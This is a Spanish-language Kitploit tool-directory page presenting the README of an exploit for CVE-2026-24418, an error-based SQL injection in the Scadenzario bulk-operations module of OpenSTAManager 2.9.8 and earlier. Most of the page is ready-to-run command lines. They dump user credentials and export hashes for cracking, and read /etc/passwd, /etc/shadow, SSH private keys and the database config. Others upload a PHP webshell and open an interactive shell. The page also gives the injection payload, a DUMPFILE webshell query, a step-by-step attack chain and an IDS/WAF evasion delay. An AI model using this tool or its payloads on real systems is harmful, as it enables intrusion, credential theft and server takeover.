Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-24418 — OpenSTAManager v2.9.8 y versiones anteriores contienen una vulnerabilidad crítica de inyección SQL basada en errores en el controlador de operaciones masivas para el módulo Scadenzario (Calendario de Pagos). | Kitploit
Herramientas/GitHubGitHub/bridgeralderson/cve-2026-24418
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingSeguridad de Bases de Datos

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
bridgeralderson/cve-2026-24418

CVE-2026-24418

OpenSTAManager v2.9.8 y versiones anteriores contienen una vulnerabilidad crítica de inyección SQL basada en errores en el controlador de operaciones masivas para el módulo Scadenzario (Calendario de Pagos).

Ver Repositorio
2hace 1 mesAún no revisado

CVE-2026-24418

OpenSTAManager <= 2.9.8 — Inyección SQL basada en errores en el módulo de operaciones masivas de Scadenzario

Resumen

CampoDetalles
CVE IDCVE-2026-24418
GravedadALTA (8.8)
CWECWE-89: Inyección SQL
Versiones afectadasOpenSTAManager <= 2.9.8
Parámetro vulnerableid_records[] (array POST)
Endpoint vulnerable/actions.php?id_module=18
Tipo de ataqueInyección SQL basada en errores (EXTRACTVALUE)
AutenticaciónRequerida (cualquier cuenta de usuario válida)

Detalles de la vulnerabilidad

OpenSTAManager v2.9.8 y versiones anteriores contienen una vulnerabilidad crítica de Inyección SQL basada en errores en el manejador de operaciones masivas del módulo Scadenzario (Programa de Pagos). La aplicación no valida que los elementos del array id_records[] sean enteros antes de usarlos en una cláusula IN() de SQL, lo que permite a atacantes autenticados inyectar comandos SQL arbitrarios y extraer datos sensibles a través de mensajes de error XPATH.

Causa raíz

  1. Punto de entrada — /actions.php recibe id_records[] vía POST
  2. Sanitización insuficiente — array_clean() solo elimina valores vacíos, NO valida tipos de datos
  3. Punto de inyección — /modules/scadenzario/bulk.php pasa valores no sanitizados directamente a una cláusula IN() de SQL
  4. Exfiltración de datos — Los mensajes de error de EXTRACTVALUE/UPDATEXML filtran los resultados de la consulta

Características

Instalación

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

Uso

Autenticación

root@kitploit:~
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p password --info

# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

Reconocimiento

root@kitploit:~
# Database info + privileges + user credentials
python3 exploit.py -t http://target.com -u admin -p secret --all

# Check MySQL privileges (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs

Extracción de credenciales

root@kitploit:~
# Dump users and auto-export hashes
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# Output files:
#   ./loot/users.json          - Full user data
#   ./loot/users.csv           - CSV format
#   ./loot/hashes_hashcat.txt  - Hashcat format (mode 3200)
#   ./loot/hashes_john.txt     - John format (user:hash)

Enumeración de bases de datos

root@kitploit:~
# List all databases
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# List tables in a specific database
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# List columns of a table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# Dump specific columns with row limit
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

Lectura de archivos (LFI vía SQL)

root@kitploit:~
# Read /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# Read application config (database credentials)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# Read SSH keys
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# HEX mode (bypass character filters)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

Ejecución remota de código

root@kitploit:~
# Upload webshell (auto-detects webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Upload webshell with specific webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# Interactive shell session
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE will auto-upload webshell if none exists

Salida e informes

root@kitploit:~
# Save everything to a directory
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# Generated files:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

Opciones de red

root@kitploit:~
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# With request delay (2 seconds between requests)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --info -k

Referencia completa de opciones

root@kitploit:~
Target:
  -t, --target           URL base del objetivo

Authentication:
  -u, --user             Nombre de usuario para inicio de sesión
  -p, --password         Contraseña para inicio de sesión
  -c, --cookie           Valor existente de PHPSESSID

Enumeration:
  -D, --database         Nombre de la base de datos objetivo
  -T, --table            Nombre de la tabla objetivo
  -C, --columns-list     Columnas a volcar (separadas por comas)
  --limit                Límite de filas para volcados

Actions:
  --info                 Información del servidor de base de datos
  --users                Volcar credenciales de zz_users
  --dbs                  Enumerar bases de datos
  --tables               Listar tablas
  --columns              Listar columnas (requiere -T)
  --dump                 Volcar datos (requiere -T y -C)
  --sql QUERY            Consulta SQL personalizada
  --all                  Ejecutar --info + --privs + --users
  --privs                Verificar privilegios MySQL

File Operations:
  --file-read PATH       Leer archivo mediante LOAD_FILE()
  --file-read-hex PATH   Leer archivo mediante codificación HEX

Remote Code Execution:
  --webshell             Subir webshell PHP
  --webroot PATH         Ruta de webroot para subida de shell
  --rce                  Ejecución interactiva de comandos

Output:
  -o, --output DIR       Guardar resultados en directorio

Network:
  -m, --module-id        ID del módulo (por defecto: 18)
  --proxy                URL del proxy HTTP
  -k, --no-ssl-verify    Deshabilitar verificación SSL
  --delay                Retardo entre peticiones en segundos

Detalles técnicos

Estructura del payload

root@kitploit:~
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

Límite de caracteres de EXTRACTVALUE

La función EXTRACTVALUE() de MySQL devuelve un máximo de ~32 caracteres mediante errores XPATH. La herramienta divide automáticamente los resultados largos usando SUBSTRING():

root@kitploit:~
SUBSTRING((<query>), 1, 31)    -- Chunk 1
SUBSTRING((<query>), 32, 31)   -- Chunk 2
...

Mecanismo de subida de webshell

Nota técnica sobre el contexto basado en errores: Si bien --webshell y --rce se incluyen para máxima cobertura, MySQL prohíbe estrictamente el uso de INTO DUMPFILE dentro de una subconsulta o una cláusula IN() (que es exactamente donde se encuentra el punto de inyección de este CVE).

Por lo tanto, escribir archivos directamente mediante esta inyección específica basada en errores generalmente fallará con un error de sintaxis a menos que:

  1. El entorno objetivo permita Consultas Apiladas (muy raro en configuraciones modernas de PHP/PDO).
  2. Consigas pivotar el payload hacia una inyección basada en UNION.

Si confirmas el privilegio FILE mediante --privs, tu mejor opción es usar --file-read y --file-read-hex, ya que LOAD_FILE() funciona perfectamente dentro de subconsultas basadas en errores.

Cuando el privilegio FILE está disponible y las restricciones lo permiten:

root@kitploit:~
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'

Ruta de código vulnerable

root@kitploit:~
POST /actions.php?id_module=18
    └── actions.php (L503-506) ─── receives id_records[]
        └── array_clean() ─── only removes empty values
            └── bulk.php (L88) ─── builds SQL IN() clause
                └── Database.php (L289) ─── executes unsanitized query
                    └── XPATH error leaks data

Ejemplo de cadena de ataque

root@kitploit:~
1. --privs        → Check FILE privilege
2. --users        → Dump credentials, export hashes
3. --file-read    → Read config.inc.php for DB creds
4. --file-read    → Read /etc/passwd for usernames
5. --webshell     → Upload PHP webshell
6. --rce          → Interactive shell → pivot

Descargo de responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Siempre obtén la autorización adecuada antes de realizar pruebas. El autor no asume ninguna responsabilidad por el uso indebido.

Referencias

  • CVE-2026-24418 (NVD)
  • GitHub Security Advisory — GHSA-4xwv-49c8-fvhq
  • OpenSTAManager Repository
  • PoC by Lukasz Rybak
Descargar herramienta
CaracterísticaDescripción
--infoHuella del servidor de base de datos (versión, usuario, hostname, SO, rutas)
--privsEnumeración de privilegios MySQL (FILE, SUPER, PROCESS)
--usersVolcado completo de credenciales de zz_users con exportación automática de hashes
--dbsEnumerar todas las bases de datos accesibles
--tablesListar tablas con conteo de filas
--columnsListar columnas con tipos e información de nulabilidad
--dumpExfiltración de datos de cualquier tabla/columna
--sqlEjecución de consultas SQL personalizadas
--file-readLeer archivos del servidor mediante LOAD_FILE() (/etc/passwd, archivos de configuración, claves SSH)
--file-read-hexLectura de archivos codificados en HEX para evitar filtros
--webshellSubir webshell PHP mediante INTO DUMPFILE
--rceEjecución interactiva de comandos a través de webshell subida
-o / --outputGuardar todos los resultados en formatos JSON, CSV y hashcat/john
--proxySoporte de proxy HTTP (Burp Suite)
--delayLimitación de peticiones para evasión de IDS/WAF